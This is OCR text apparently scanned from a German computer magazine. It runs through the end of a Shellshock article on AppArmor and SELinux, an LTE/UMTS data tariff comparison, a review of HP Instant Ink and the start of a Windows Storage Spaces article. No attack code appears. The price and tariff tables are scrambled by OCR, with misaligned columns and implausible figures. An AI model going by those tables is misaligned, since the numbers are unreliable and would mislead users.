der ISC-DHCP-Client dhclient: Vor dem Auf- 
ruf der Shellskripte, die die IP-Adresse auf 
dem Linux-System aktivieren und Informa- 
tionen wie Nameserver und NTP-Server in 
den Konfigurationsdateien hinterlegen, setzt 
er Umgebungsvariablen auf Werte, die der 
DHCP-Server liefert. 


Mehr Sicherheit 


Shellshock ist nur ein besonders dramati- 
sches Beispiel für einen Fehler, der an vielen 
Stellen im System Sicherheitslücken aufreißt. 
Die Sicherheitserweiterungen AppArmor und 
SELinux können Angriffe abwehren, die dazu 
führen, dass Anwendungen von ihrem nor- 
malen Verhalten abweichen. 

Fertige Regelwerke für SELinux sind meist 
sehr allgemein gehalten, damit alle gängigen 
Anwendungen problemlos laufen. Umfang- 
reiche Rechteerweiterungen blockiert jedoch 
auch SELinux. Selbst erstellte AppArmor- 
Profile sind in der Regel restriktiver, da sie 
besser auf das Standardverhalten der 
Anwendung zugeschnitten sind. AppArmor 
kann Angriffe daher häufig schon sehr früh 
abwehren. 

Der beste Schutz gegen Shellshock ist 
natürlich ein Update der Bash - jeder Admin 
sollte das inzwischen erledigt haben. Aber 
die nächste Lücke kommt bestimmt. Und 
dann können AppArmor und SELinux 
das Linux-System schützen, bis der Fehler 
gepatcht und das Update eingespielt ist 
- so, wie sie es auf entsprechend konfigu- 
rierten Systemen bei Shellshock getan 
haben. (odi) €E 
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I. und Notebooks sind datenhung- 
rig. Zu Hause, am Arbeitsplatz oder auf 
Besuch bei Freunden sind die Geräte meist 
ins WLAN eingeklinkt und können dort ohne 
Blick auf Transfervolumina genutzt werden. 
Unterwegs bleibt aber vielerorts nur das Mo- 
bilfunknetz zum Zugang. Diesen über das 
Smartphone per Tethering bereitzustellen, 
klappt technisch zwar problemlos, ist aber 
ein wenig fummelig. Außerdem sind Laptops 
und Tablets nicht auf Datensparsamkeit ge- 
trimmt und verbrauchen das oft knapp be- 
messene Datenvolumen fürs Smartphone 
recht schnell. 

Ein eigener Datentarif muss also her - 
zweckmäßigerweise für das schnelle LTE- 
Netz. Notebooks lassen sich dann über einen 
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LTE-Stick mit dem Netz verbinden (ab 40 
Euro) oder man schafft einen mobilen 
WLAN-Router an, der gleich mehrere Geräte 
mit einem Internetzugang versorgen kann. 
LTE-Modelle gibt es ab 85 Euro [1]. 


Netzausbau 


Gerade für die LTE-Nutzung ist es entschei- 
dend, das richtige Netz zu wählen. Wer die 
bundesweit am besten ausgebauten Netze 
von Vodafone und der Telekom benutzen will, 
kommt nicht um den Abschluss eines Laufzeit- 
vertrags herum. Auch O2 zwingt LTE-Interes- 
senten derzeit noch in Laufzeitverträge. Nur 
E-Plus lässt Prepaid-Kunden in sein LTE-Netz. 
Davon profitieren auch Reseller wie Aldi Talk. 
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Urs Mansmann 


Schnell mobil 


LTE- und UMTS-Tarife für Tablets 
und Notebooks 


Mit dem LTE-Netz gelangt man unterwegs fast so 
schnell ins Internet wie im heimischen WLAN. Die 
Preise sind gefallen und nun auch für den schmalen 
Geldbeutel erschwinglich. Für Gelegenheitsnutzer 
gibt es interessante Alternativen im UMTS-Netz, 
mit denen man nur dann zahlt, wenn man gerade 
Internet braucht. 


Der LTE-Ausbau von O2 und E-Plus ist al- 
lerdings extrem lückenhaft. Das fällt nicht so 
sehr auf, weil die beiden Unternehmen in 
ihren Netzabdeckungskarten die LTE-Abde- 
ckung nicht separat ausweisen, sondern zu- 
sammen mit UMTS. Besonders schlecht ist 
der Ausbau bei E-Plus. Das Unternehmen hat 
keine Frequenzen im 800-MHz-Bereich er- 
steigert und versorgt ausschließlich städ- 
tische Gebiete auf 1800 MHz. Selbst einige 
Großstädte wie Hannover sind bei E-Plus mit 
LTE derzeit noch komplett unversorgt. 

Bei Vodafone und der Telekom hingegen 
ist der Netzausbau weit fortgeschritten; auch 
in ländlichen Gegenden hat man vielerorts 
bereits LTE-Empfang. Das zeigen die beiden 
Unternehmen auch gerne detailliert in ihren 
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Abdeckungskarten. UMTS ist auch viele Jahre 
nach dem Netzstart noch lange nicht flä- 
chendeckend verfügbar. Die Netzbetreiber 
betreiben den UMTS-Ausbau aber nicht wei- 
ter, stattdessen investieren sie lieber ins 
schnellere und modernere LTE-Netz. 
Besonders bei etwas älterer Hardware 
muss man aber prüfen, ob sie im angepeilten 
Netz auch wirklich funktioniert. Das iPhone 5 
beispielsweise arbeitet nur auf LTE 1800. In 
Deutschland werden derzeit drei Bänder 
verwendet, die Provider haben aber unter- 
schiedliche Zuweisungen (siehe Tabelle). 


Datentarife 


LTE war lange der Luxusklasse unter den Da- 
tentarifen vorbehalten; wer es nutzen wollte, 
musste monatlich mindestens 30 Euro hin- 
blättern. Inzwischen ist das schnelle Netz in 
allen Datentarifen mit Vertragsbindung ent- 
halten, selbst in der Einsteigerklasse. Die 
günstigsten Datentarife mit 1 Gigabyte Trans- 
fervolumen pro Monat sind schon für 15 Euro 
monatlich erhältlich. Die Konditionen von Vo- 
dafone und der Telekom ähneln sich sehr; die 
Angebote von O2 und Base (E-Plus) sind 
deutlich günstiger. 

Die naheliegendste Idee ist, als flexible 
Lösung weitere SIM-Karten zu einem beste- 
henden Vertrag hinzuzubuchen. Die Telekom 
bietet für viele Verträge eine Multi-SIM-Lö- 
sung ohne Haken und Ösen. Für jeweils 4,95 
Euro im Monat gibt es bis zu zwei weitere Kar- 
ten zu einem bestehenden Vertrag. Auch bei 
O2 können bis zu zwei Karten a 4,99 Euro im 
Monat hinzugebucht werden. Bei Vodafone 
heißt die Lösung Multi-Card für die neuen 
RED-Tarife über eine zusätzliche RED DataSIM. 
In älteren Tarifen kann der Kunde die Option 
UltraCard hinzubuchen. In beiden Varianten 
funktioniert LTE bei Vodafone aber nur auf der 
Hauptkarte. E-Plus hatte einmal eine Multi- 
SIM-Lösung, die aber aktuell nicht mehr ver- 
marktet wird. Der grundsätzliche Nachteil 
einer Multi-SIM ist, dass das Volumen für alle 
Karten gleichermaßen bereitsteht. Verbraucht 
man es mit Tablet oder Laptop vorzeitig, muss 
man sich auch auf dem Smartphone mit der 
Drosselung herumschlagen. 

Eine weitere Möglichkeit besteht darin, 
weitere Geräte mit Zusatz-SIM- oder Partner- 
Karten zu einem bestehenden Vertrag auszu- 
statten. Das ist ein wenig günstiger als ein 
komplett unabhängiger Vertrag, die Telekom 
beispielsweise räumt dafür monatlich einen 
Rabatt von 5 Euro ein. Anders als bei der 
Multi-SIM laufen die zusätzlichen Geräte 
über ein eigenes Abrechnungskonto. Über- 
schreitet man mit dem Laptop oder Tablet 
das monatliche Transfervolumen, sind in die- 
sem Fall keine weiteren Geräte von der Dros- 
selung betroffen. 

Ein zusätzlicher, separater Datentarif fürs 
Handy hat den Vorteil, dass man für das wei- 
tere Gerät unabhängig vom vorhandenen 
Handy-Tarif das beste Netz und das dafür 
monatlich benötigte Datenvolumen frei 
wählen kann. Hat ein Tablet oder Notebook 
mehrere Nutzer, ob in der Firma oder in einer 
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Besancah 


Die Telekom (links) und Vodafone (rechts) präsentieren ihre LTE-Abdeckungskarten 
gerne im Internet. Die Netze sind bereits sehr gut ausgebaut. 


Familie, ist es besonders praktisch, wenn es 
einen eigenen Internet-Zugang besitzt. 

Bei vielen Datentarifen lässt sich zusätz- 
liches Volumen hinzukaufen, wenn das mo- 
natliche Inklusivvolumen verbraucht ist 
(siehe Tabelle). Das ist praktisch, wenn man 
beispielsweise im Urlaub oder auf einer län- 
geren Dienstreise ausnahmsweise einmal 
mehr Volumen benötigt. Braucht man häufi- 
ger einen Nachschlag, ist es günstiger, einen 
etwas größeren Tarif fest zu buchen, als 
immer wieder Zusatzbeiträge zu entrichten. 
Base bucht bis zu drei solcher Zusatzpakete 
pro Monat automatisch, was dem Kunden 
die Kostenkontrolle erschwert. Obendrein 
wird der Kunde bei Base in ein Paket mit grö- 
ßerem Datenvolumen umgebucht, wenn er 
das Volumen in drei Monaten hintereinander 
überschreitet. 

Mehr Kostenkontrolle bieten Prepaid-Pa- 
kete. Die Aufladung von Guthaben ist un- 
kompliziert und lässt sich auch automatisch 
nach Bedarf per Bankeinzug erledigen. Mit 
Ausnahme der Angebote im E-Plus-Netz ist 
für Prepaid-Kunden derzeit aber noch keine 
LTE-Nutzung möglich. Im Vergleich zu den 
neuen Datentarifen der Netzbetreiber bieten 
sie außerdem fast keinen Preisvorteil mehr. 


Mit einem mobilen 
Hotspot lässt sich jedes 
WLAN-fähige Gerät per 
LTE ins Internet bringen. 
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Dafür ist zusätzlich hinzuzubuchendes Volu- 
men spürbar teurer als in den Postpaid-Da- 
tentarifen. Wer LTE nicht nutzen kann oder 
will, erhält damit aber maximale Flexibilität 
und kann die Flatrate mit kurzen Fristen je- 
derzeit kündigen und bei Bedarf erneut bu- 
chen, wann immer es passt. 


Tages-Flat statt Monats-Flat 


Wer nur gelegentlich unterwegs einen Zu- 
gang benötigt, kann diesen sehr günstig 
haben. Einzige Voraussetzung ist auch hier, 
dass man mit UMTS zurechtkommt und kein 
LTE benötigt. Einige Prepaid-Angebote bie- 
ten optional eine Tages-Flatrate an (siehe Ta- 
belle). Mit dieser kann man für einen Kalen- 
dertag oder 24 Stunden ins Netz, pro Nut- 
zungstag ist üblicherweise ein Freivolumen 
von einigen hundert Megabyte enthalten. 
Einige Spezialisten bieten sogar Stunden-, 
12-Stunden oder Mehrtage- bis Wochen- 
Flatrates an. Allerdings sollte man die SIM 
nicht längere Zeit unbenutzt beiseite legen: 
Viele Provider deaktivieren Karten, die län- 
ger als drei Monate nicht benutzt und län- 
ger als ein Jahr lang nicht aufgeladen wur- 
den. Wer das nicht auf dem Schirm hat, 
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Datentarife mit LTE ab 1 GByte Monatsvolumen (Auswahl) 


Anbieter Base KR) 

Tarif Internet XL Internet XXL 
Plus Plus 

URL www.base.de/base/tarife/ 
datentarife/music-all-in/ 
internet-xI-plus/p/service- 
Plan_b_internet_xI_plus 

Netz E-Plus 02 

Internet-Flatrates 

max. Datenrate 7,2MBit/? 7,2 MBit/s 21,1 MBit/s 

Volumen pro Monat 2 GByte 5 GByte 1 GByte 

Taktung 10 KByte 10 kByte 

Nach Verbrauch 56 kBit/s 64 KBit/s 

Drosselung auf 

Zukauf-Volumen automatische Nachbuchung k.A. 

pro Monat 

Preise für Telefonie und SMS Inland 

Telefonie Festnetz 29 ct/min - 

Telefonie netzintern 29 ct/min - 

Telefonie Mobilnetze _29ct/min = 

SMS Inland 29 ct/min - 

Multi-SIM (Zahl der - 2, kostenlos 

zusätzlichen Karten, 

Kosten pro Karte) 

Vertragsbedingungen/Preis 

Vertragsdauer 24 Monate 24 Monate 

Aktivierungspreis - - 

einmalig! 

Grundpreis proMonat? 20€ 235€ 14,99 € 


- | en 


SurfFlatM SurfFlatL SurfFlatXL Surf Flat XL Data Comfort $ 


www.o2online.de/tarife/datentarife/ 


"abzüglich Nachlässen ? nur Tarif ohne Hardwarebestellung ?42,2 MBit/s bis 15.3.2015 


Telekom 


Eco Eco 


Telekom 
50 MBit/s 16 MBit/s 50 MBit/s 

5GByte 7,5GByte 10GByte 1 GByte 2 GByte 

100 kByte 

64 kBit/s 

5 GByte 5 GByte 

mtl.9,95 €, mtl. 9,95 €, 

250 MByteein- 500 MByte ein- 

malig, 4,95€, malig, 4,95€, 

1GByteeinma- 2GByte einma- 

lig, 14,95 € lig, 14,95 € 

19 ct/Stück 

24 Monate 

11,95 € 5,95€ 
49€ 349€ 449€ 14,95 € 19,95 € 


DataComfortM Data Comfort L 


https://www.t-mobile.de/datentarife 


Vodafone 

DataGo 5 DataGo M DataGoL 
Eco 

www.vodafone.de/privat/tablets- 

datentarife/tablets-surfsticks-datentarife.html 

Vodafone 
300 MBit/s 21,6MBit/s 50 MBit/s 150 MBit/s 
5 GByte 1 GByte 3 GByte 6 GByte 

100 kByte 

64 KBit/s 
5 GByte 1GByteein- 1GByteein- 1 GByte ein- 
mtl. 9,95 €, malig, 9,99€ malig, 9,99€, malig, 9,99 €, 
1 GByte ein- 5 GByte ein- 5 GByte ein- 
malig, 4,95 €, malig, 19,99€ malig, 19,99 € 
5 GByte ein- 
malig, 14,95 € 

29 ct/min 

29 ct/min 

29 ct/min 

19 ct/Stück 

24 Monate 
6,05€ 299€ 
Gutschrift 
29,95€ 1,9 € 19,99 € 299€ 


Kurzzeit-Flatrates Prepaid 


Anbieter Aldi Talk Congstar Fonic Jamobil Lidl ProSieben RTL TUI 
Tarif 24 Stunden Inter- Surf Tagesflat Internet-Tages- Tagesdatenflat Internet- Standard-Tarif Surfpaket Surfstick 
net Flatrate flatrate Stick-Tarif 
URL www.alditalk.de/ www.congstar.de/ www.fonic.de/fonic- www.jamobil. www.lidi.de/ www.prosieben.de/stick/tarife-preise www.rtlsurfstick.de/tarif.html www.tui-surfstick.de/ 
sued/Surfen/24_ prepaid/zubuch surf-card-internet- de/tarifueber de/internet- 
stunden_internet- bare-optionen/ tagesflatrate-fuer-- sicht.html stick 
flatrate.php surf-sticks 
Netz E-Plus Telekom 02 Telekom 02 Vodafone Vodafone Vodafone 
LTE v - - - - - - - 
Abrechnungs- 24Stunden Kalendertag Kalendertag 24 Stunden Kalendertag 1Stunde 12Stun- 3Tage 7Tage 1,5Stun- 12Stun- 7Tage 1Stunde 24Stun- 3 Tage 
zeitraum den den den den 
Freivolumen 1000 MByte 200 MByte 500 MByte' 500 MByte 500 MByte' unbe- 1 GByte 1 GByte 1 GByte 
pro Monat grenzt 
Kosten 1,99€ 0,99€ 1,99€? 15€ 1,99€? 07€ 19€ 39€ 79€ 09€ 19€ 89€ 09€ 29€ 49€ 
? gedeckelt auf 20 € pro Monat 


15 GByte pro Monat 


steht irgendwann überraschend ohne Inter- 
net-Zugang da. Auf das Prepaid-Konto ein- 
gezahltes und noch vorhandenes Guthaben 
kann man jedoch auch nach der Deaktivie- 
rung zurückfordern. 

Die Abrechnung von Tagesflats ist denk- 
bar einfach: Mit der ersten Datenübertra- 
gung wird das Entgelt fällig. Stehen mehrere 


LTE-Frequenzen 


Frequenzband [MHz] 800 1800 2600 
Telekom v NG NG 
Vodafone NG - NG 
02 v - v 
E-Plus - v NG 
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Tarifvarianten zur Auswahl, wird der erste 
Aufruf einer HTTP-Seite auf die Startseite des 
Anbieters umgeleitet. Dort kann man dann 
den richtigen Tarif wählen. 

Falls die Buchung automatisch erfolgt, 
sollte man die Anmeldung im Mobilfunknetz 
verhindern. Bei einem Notebook ist das recht 
einfach zu bewerkstelligen, indem man den 
Mobilfunkstick nicht steckt. Beim Tablet wird 
es ein wenig komplizierter: Es reicht aus, 
wenn man die Datenverbindungen deak- 
tiviert, was normalerweise mit zwei Bedie- 
nungsschritten möglich ist. Die SIM-Karte 
sollte man nicht nach jeder Surfsitzung ent- 
fernen, weil man damit den Steckplatz und 
dessen Kontakte unnötig verschleißt. Noch 
tragen die Netzbetreiber nur unzureichend 
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dem Umstand Rechnung, dass in den Haus- 
halten immer mehr Geräte mit Mobilfunkan- 
schluss in Betrieb sind und die Kunden dafür 
immer mehr Zweit- und Dritt-SIMs benöti- 
gen. Vermutlich werden sie irgendwann 
nachbessern - eine heute eingegangene 
langfristige Vertragsbindung verhindert 
dann möglicherweise einen schnellen Um- 
stieg auf neue, interessante Angebote. Wer 
vorerst noch mit einer provisorischen Pre- 
paid-Lösung leben kann, dürfte mittelfristig 
im Vorteil sein. (uma) 
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Report | Abo für Druckertinte 


Rudolf Opitz 


Tinte im Abo 


HPs Tintenservice Instant Ink 


HP bietet mit „Instant Ink“ ein Tintenabonnement an, 
bei dem man statt pro Patrone pro gedruckter Seite 
zahlt. Bequemerweise ordert der Drucker rechtzeitig 
Tintennachschub, den HP kostenfrei ins Haus liefert. 
Der Haken: HP erhält dabei tiefe Einblicke in das Druck- 


verhalten des Kunden. 


it dem Tintenliefer-Service 

Instant Ink sparen Kunden 
laut HP bis zu 50 Prozent der üb- 
lichen Tintenkosten. Außerdem 
soll stets genug Tinte im Haus 
sein, ohne dass man sich um 
Nachschub kümmern müsste: 
Der Drucker analysiert das 
Druckaufkommen und veran- 
lasst via Internet die Zusendung 


einer Ersatzpatrone. Dabei rech- 
net er die Versanddauer und den 
durchschnittlichen Tintenver- 
brauch mit ein, sodass der Vorrat 
nie zur Neige geht. 

Der Instant-Ink-Dienst funk- 
tioniert nur mit ausgewählten 
neueren Multifunktionsdruckern 
von HP. Dazu gehören die Envy- 
Modelle 4500, 5530, 5640 und 


Erfahrungen mit HP Instant Ink 


7640 sowie die Officejets 4630 
und 5740. Die für den Hausge- 
brauch gedachten Modelle ar- 
beiten mit Kombipatronen mit 
integriertem Druckkopf (HP 62 
und 301). Außerdem gibt es In- 
stant Ink für die größeren Office- 
jet-Pro-Geräte mit Einzeltinten 
8610 und 8620 (Patronen HP 
950/951) und 8630 (HP 934/935). 
Auf www.instantink.de kann 
man die kompatiblen Geräte 
nachschauen. Nach Registrie- 
rung des Druckers bei HPs 
Cloud-Dienst „HP Connected“ 
meldet außerdem die Dienste- 
Website, ob sich das jeweilige 
Gerät für Instant Ink eignet. 


So gehts 


Instant Ink erinnert an Handy-Ta- 
rife mit Inklusiv-Minuten: Man 
bekommt 50 bis 300 Seiten mo- 
natlich und zahlt zwischen drei 
und zehn Euro. Ändert sich der 
Druckbedarf kurzzeitig, gibt es 
tarifabhängige Zusatzkontin- 


gente für einen Euro (siehe Ta- 
belle). Zum Starten des Tinten- 
Services kauft man eine Regis- 
trierungskarte bei einem HP- 
Händler - noch befindet sich In- 
stant Ink in der Pilotphase. Wenn 
man keinen Händler findet, kann 
man den gewünschten Tarif 
auch direkt übers Internet be- 
stellen. HP schickt daraufhin die 
erste Instant-Ink-Patrone zu. Mit 
dem Einsetzen in den Drucker 
startet der Abrechnungszeit- 
raum. Die Patronen bleiben HP- 
Eigentum und müssen wieder 
kostenfrei zurückgeschickt wer- 
den, wenn sie leer sind oder der 
Vertrag endet. Der Tintenver- 
brauch von Reinigungsvorgän- 
gen kostet nichts. 

Mit dem Abschluss des Instant- 
Ink-Vertrags verpflichtet sich der 
Kunde, den Drucker dauerhaft 
mit dem Internet zu verbinden - 
auch beim Drucken übers USB- 
Kabel. Nötig ist auch die Regis- 
trierung des Druckers bei HPs 
Cloud-Dienst „HP Connected”, 


Tintenabo-Kunde zu werden ist relativ ein- 
fach: Zuerst kauft man beim HP-Händler 
zusammen mit dem Drucker oder später 
eine Prepaid-Registrierungskarte für In- 
stant Ink. Mit der Karte zahlt man den ers- 
ten Monatstarif. Abhängig vom gewünsch- 
ten Druckkontingent sind das drei, fünf 
oder zehn Euro. Zum Abschluss des Abon- 
nements gibt man den Karten-Code auf 
der Website www.instantink.de ein. Die fol- 
genden Monatskontingente zahlt man mit 
Kreditkarte oder per Lastschrift. 


Nach der Aktivierung trifft ein paar Tage 
später das Instant-Ink-Begrüßungspaket 
ein. Dieses enthält außer der Tinte ein vor- 
frankiertes Post-Kuvert zur Rücksendung 
der verbrauchten Patronen an HP. Braucht 
man weniger Druckseiten pro Monat als 
gedacht, lässt sich der gewählte Tarif per 
Mausklick online wechseln - oder auch 
kündigen. 


Ungenutzte Seiten verfallen nicht, sondern 
werden in die Folgemonate übernommen. 
Für umfangreichere Druckaufträge kann 
man so ein wenig ansparen. Die Obergren- 
ze liegt beim Doppelten des normalen Mo- 
natskontingents: Wer also das 100-Seiten- 
Abo abgeschlossen hat, kann maximal 100 
Seiten übernehmen, selbst wenn er meh- 
rere Monate hintereinander kaum gedruckt 
hat. Der Rest verfällt. 


Auf einem Windows-PC mit installiertem 
HP-Druckertreiber erschienen nach Ab- 
schuss des Tintenabos automatisch Nach- 
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richten zu Instant Ink, ganz ohne zusätzli- 
che Software. Als die Gültigkeit für die an- 
gegebene Kreditkarte abgelaufen war, 
meldete dies der Treiber bei jedem Druck- 
vorgang in einem Fenster. 


Trotz der noch unbezahlten Tinte konnte 
man weiterhin drucken. Offensichtlich ge- 
währt HP dem Kunden eine Übergangsfrist 
zum Aktualisieren des Zahlungsmittels. 
Den Drucker selbst legt HP nicht lahm. Wer 
möchte, kann das Abo jederzeit kündigen, 
reguläre Patronen in seinen Drucker einset- 
zen und damit sofort weiterdrucken. 


Die Instant-Ink-Seite auf dem HP-Con- 
nected-Webportal liefert für jeden regis- 
trierten Drucker nützliche Informationen 
über das aktuelle Kontingent und ange- 
sparte Restseiten. Für von HP versendete 
Patronen findet sich hier ein Link zum 
Tracking des Päckchens. Während der Pro- 
bephase war aber nicht immer nachvoll- 
ziehbar, wo sich die Sendung gerade 
befand und wann diese eintreffen sollte. 


HP arbeitete zu dieser Zeit mit verschie- 
denen Paketdiensten zusammen, die nicht 
immer aktuelle Tracking-Informationen 
lieferten. 


Ein anderes Feature sucht man im HP- 
Connected-Webportal bisher vergeblich: 
Man kann keine Urlaubspause eintragen - 
insbesondere für Heimanwender ein Pro- 
blem. Mangels einer Option zum Aus- 
setzen der Abo-Mitgliedschaft müssen 
Kunden auch während ihrer Abwesenheit 
für den ungenutzten Tintenabo-Dienst 
weiter bezahlen. 


Beim größten Tarif mit 300 Seiten pro 
Monat kostet jede Druckseite gut drei Cent. 
Dabei spielt es keine Rolle, ob es sich um 
Schwarzweiß-Briefe, bunte Präsentationen 
oder Farbfotos im DIN A4-Vollformat han- 
delt. Um diesen relativ günstigen Seiten- 
preis zu erzielen, muss man allerdings 
jeden Monat das gesamte Seitenkontin- 
gent verbrauchen. Das animiert dazu, mehr 
zu drucken als nötig. (Eric Tierling) 
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der das bisherige ePrint-Center 
ablöst. Über das Portal von HP 
Connected lassen sich Seitenkon- 
tingente abfragen, Tarife buchen, 
ändern oder kündigen. Kündi- 
gung und ein Wechsel auf ein 
kleineres Seitenkontingent ist 
jeweils nur zum nächsten Ab- 
rechnungsmonat möglich; zum 
größeren Kontingent kann man 
jederzeit wechseln. 

Wer auf Datensammler sensi- 
bel reagiert, sollte Instant Ink mei- 
den. Kunden müssen HP nicht 
nur die Fernkontrolle des Dru- 
ckers gestatten - das Unterneh- 
men kann die Leihpatronen 
jederzeit sperren. Außerdem 
müssen sie erlauben, dass HP 
allerhand erfasst: Tintenstände, 
Seitenzahlen und sogar „die Art 
von gedruckten Dokumenten 
(z.B. Word, PowerPoint, PDF, 
JPEG usw.)” und „Gerätetypen, 
die Aufträge gesendet haben“. 
Druckt man ohne Internetzugang 
über sein Kontingent hinaus, de- 
aktivieren sich die Instant-Ink-Pa- 
tronen. Zum weiteren Drucken 
muss HPs Support-Center sie 
dann wieder reaktivieren. Für 
Notfälle und bei Vertragsende 
sollte man daher normale Patro- 
nen im Schrank haben - der Dru- 
cker selbst ist von der Blockade 
nicht betroffen. 


Mischkalkulation 


Normalerweise hängen die Tin- 
tenkosten pro Seite von der 
Reichweite und dem Preis der 
Patronen ab. Die Reichweite 
wird durch wiederholtes Ausdru- 
cken eines nach ISO/IEC 24712 
standardisierten Dokuments er- 
mittelt. Je größer die Patrone, 
desto günstiger ist der Seiten- 
preis. So kostet eine Norm-Farb- 
seite bei den XL-Versionen der 
Kombipatronen für die Envy- 
und Officejet-Modelle zwischen 
12,3 und 13 Cent, bei einem Of- 
ficejet Pro mit HP950/951-XL-Pa- 
tronen hingegen nur 4,6 Cent. 
Die Zahlen lassen sich jedoch 
nicht mit den Instant-Ink-Seiten- 
preisen (siehe Tabelle) verglei- 
chen, da diese unabhängig von 
der verbrauchten Tintenmenge 
gelten. Ob sich HPs Instant-Ink- 
Service lohnt, hängt deshalb 
stärker von der Art der Ausdru- 
cke ab als von der Seitenzahl. 
Wer mit einem der Heimdru- 
cker nur Fotos zu Papier bringt 
und dabei das Kontingent gut 
ausnutzt, spart am meisten. Ein 
vollflächiges A4-Foto ist mit In- 
stant Ink sehr günstig. Enthält ein 
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Seiten basierter Tinten-Abo-Dienst 


monatlicher Tarifpreis 2,99€ 49€ 949€ 
Seitenkontingent pro Monat 50 Seiten 100 Seiten 300 Seiten 
Seitenpreis bei voller Nutzung 6Cent 5 Cent 3,3 Cent 
Zusatzkontingentfür 1 € /Seitenpreis 15Seiten/6,7Cent 20Seiten/5Cent 25 Seiten /4Cent 


Brief auf der zweiten Seite nur 

noch einen Satz, freut sich HP. 
Für Officejet-Pro-Drucker, die 

vor allem Briefe und Dokumente 


bleibt, lohnt sich Instant Ink daher 
nicht. Mit papiersparendem Du- 
plexdruck schlägt man Instant Ink 
übrigens kein Schnippchen: Ein 


Report | Abo für Druckertinte 


zählt wie zwei Druckseiten. So 
bleibt im Büro nur der Vorteil, 
dass man sich selbst nicht mehr 
um Tintennachschub zu küm- 
mern braucht, da Ersatz automa- 
tisch nachgeliefert wird. 

Unterm Strich empfiehlt sich 
Instant Ink besonders für Pri- 
vatnutzer, die viel und regel- 
mäßig Fotos drucken, eine In- 
ternetverbindung haben und 
HPs Datenschutzrichtlinien ver- 


drucken, bei denen viel weiß doppelseitig bedrucktes Blatt trauen. (rop) CE 
‚Ö 
ud 
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Christof Windeck 


Datengreifer 


Windows Storage Spaces im Vergleich 


zu RAID-Hostadaptern 


Wer einen (Windows-)Server mit einem RAID-Verbund aufsetzen möchte, steht 
vor einer weitreichenden Entscheidung: Überlässt man dem Betriebssystem die 
Verwaltung von Festplatten oder SSDs oder kauft man dazu besser einen teuren 
Hostadapter? Unsere Experimente zeigen: Kommt drauf an! 


Fre und Solid-State Disks (SSDs) 
sind Verschleißteile und fallen irgend- 
wann aus. Ein redundanter Verbund mehre- 
rer Massenspeicher - also RAID - ist der gän- 
gige Schutz gegen den Ausfall von einem 
oder zwei Speichermedien. Die Daten blei- 
ben dabei nicht nur erhalten, sondern auch 
im Zugriff, weil der Server weiterläuft. 

Es gibt jedoch unterschiedliche Ansichten 
darüber, wie ein RAID am besten einzurichten 
sei. Die einen schwören auf „richtige“ Host- 
adapter, sogenanntes Hardware-RAID: Dabei 
kommt ein Controller zum Einsatz, der die 
Speichermedien unabhängig vom Hauptpro- 
zessor verwaltet. Dieses Konzept ermöglicht 
es unter anderem, die sensiblen Berechnun- 
gen der Prüfcodes in den geschützten Spei- 
cher des Hostadapters zu verlagern. Außer- 
dem arbeitet das Storage-Subsystem unab- 
hängig vom Betriebssystem - man kann also 
auch ein anderes installieren und mehrere 
virtuelle Maschinen können sich einen RAID- 
Adapter teilen. Doch gute Argumente gibt es 
auch für Software-RAID beziehungsweise 


134 


Software-defined Storage (SdS): höhere Flexi- 
bilität, Unabhängigkeit von einem bestimm- 
ten Hostadapter-Hersteller, Integration ins 
Betriebssystem - und geringere Kosten. Wir 
vergleichen die Speicherplätze (Storage Spa- 
ces) von Windows Server 2012 R2 mit den 
Funktionen von RAID-Hostadaptern. 


Software-RAID 


Zunächst sind einige Begriffe zu klären, vor 
allem in Bezug auf Software-RAID. Damit 
sind einerseits Funktionen gemeint, die in 
Betriebssysteme integriert sind, bei älteren 
Windows-Versionen etwa die RAID-Funktio- 
nen der „dynamischen Datenträger”, bei 
Linux mdadm oder Funktionen des Logical 
Volume Manager (LVM) sowie von Dateisys- 
temen wie btrfs oder ZFS. Andererseits ver- 
steht man unter Software-RAID auch die 
RAID-Funktionen der integrierten SATA-Con- 
troller der Mainboard-Chipsätze von AMD 
und Intel. Die Datenträger werden hierbei 
sozusagen nur anders initialisiert, die nötige 


RAID-Firmware ist ins Mainboard-BIOS einge- 
baut. Das Betriebssystem lädt einen RAID- 
Treiber, der dem Hauptprozessor die anfal- 
lende Rechenarbeit aufbürdet. 

Solches Host-RAID oder Fake-RAID ist 
zwar billig und kann schnell sein, vereint 
aber viele Nachteile: Die Berechnungen er- 
folgen im möglicherweise nicht per ECC 
gegen Fehler geschützten Hauptspeicher. 
Treiber gibt es oft nur für wenige Betriebs- 
systeme, beim Booten nicht unterstützter 
Systeme drohen sogar Datenverluste. Beim 
Ausfall des Mainboards kann der Zugriff auf 
das RAID schwierig werden, wenn kein 
kompatibler Ersatz zur Hand ist. Mehr als 
vier oder sechs SATA-Ports sind selten für 
einen Host-RAID-Verbund nutzbar. Host- 
RAID kommt trotzdem zum Einsatz, etwa als 
RAID 1 für die Systempartition von Win- 
dows-Servern: Hier liegen keine unwieder- 
bringlichen Daten und es geht weder um 
hohe Performance noch um große Kapazi- 
tät - das System soll bloß weiterlaufen, 
wenn einer der beiden Datenträger ausfällt. 

Software-RAID mit den Mitteln des Be- 
triebssystems funktioniert mit beliebigen 
Hostadaptern, mit PCI-Express-SSDs, mit 
einer Mischung aus verschiedenen Interfaces 
sowie über mehrere Adapter hinweg. Micro- 
soft hat die „dynamischen Datenträger” mitt- 
lerweile aufs Altenteil geschickt und rät von 
der Nutzung ab. Die mit Windows 8 und Ser- 
ver 2012 eingeführten Speicherplätze (Sto- 
rage Spaces) bringen auch Funktionen für re- 
dundante Medienverbünde mit, nämlich je 
zwei Varianten von Spiegelung (Mirroring) 
und Parity-Funktionen, die RAID 5 und 
RAID 6 ähneln (siehe Tabelle auf S. 136). Es ist 
dabei nicht vorgesehen, dass Windows von 
einem Storage Space bootet, also die Sys- 
tempartition darauf ablegt. 
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Die Windows-Speicherplätze bieten eini- 
ge Funktionen, die es bei anderem Software- 
defined Storage schon länger gibt. So erlau- 
ben sie beispielsweise Thin Provisioning, also 
„mitwachsende“ virtuelle Medien [1]. Sie las- 
sen sich nachträglich leicht erweitern. Thin 
Provisioning klappt allerdings nicht bei der 
Dual-Parity-Version der Storage Spaces. 

„Tiering“ unterteilt die Speicherkapazität 
adaptiv in Ebenen mit unterschiedlichen Ei- 
genschaften, typischerweise in SSD- und 
Festplattenspeicher: Häufig verwendete 
Daten verlagert das System automatisch in 
schnellen Flash-Speicher. So kann man etwa 
mit einer PCI-Express-/NVMe-SSD einen Pool 
aus klassischen Festplatten beschleunigen. 
Durch Clustering lassen sich die Storage Spa- 
ces mehrerer physischer Maschinen koppeln, 
um die Ausfallsicherheit zu verbessern. Be- 
